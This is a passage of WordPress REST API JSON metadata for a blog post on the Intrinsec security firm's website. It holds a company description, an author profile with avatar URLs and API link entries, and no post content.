in offensive security and auditing (penetration testing\/red teams), GRC, and IMSS services such as SOC, CTI, and CERT. Intrinsec is qualified at PASSI High, PRIS High, and PACS levels by ANSSI.","email":"contact@intrinsec.com"},{"@type":"Person","@id":"https:\/\/www.intrinsec.com\/#\/schema\/person\/ade590fbc7ad6f413727bae7cd3fb799","name":"Intrinsic","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/fde6ed961c7078765b03a213927b5c4001b1cef4787255188f5b502a99e6ddd6?s=96&d=retro&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/fde6ed961c7078765b03a213927b5c4001b1cef4787255188f5b502a99e6ddd6?s=96&d=retro&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/fde6ed961c7078765b03a213927b5c4001b1cef4787255188f5b502a99e6ddd6?s=96&d=retro&r=g","caption":"Intrinsec"},"sameAs":["https:\/\/www.intrinsec.com"],"url":"https:\/\/www.intrinsec.com\/en\/author\/ufhtbqccsz\/"}]}},"_links":{"self":[{"href":"https:\/\/www.intrinsec.com\/en\/wp-json\/wp\/v2\/posts\/2957","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.intrinsec.com\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.intrinsec.com\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.intrinsec.com\/en\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.intrinsec.com\/en\/wp-json\/wp\/v2\/comments?post=2957"}],"version-history":[{"count":0,"href":"https:\/\/www.intrinsec.com\/en\/wp-json\/wp\/v2\/posts\/2957\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.intrinsec.com\/en\/wp-json\/wp\/v2\/media?parent=2957"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.intrinsec.com\/en\/wp-json\/wp\/v2\/categories?post=2957"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.intrinsec.com\/en\/wp-json\/wp\/v2\/tags?post=2957"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}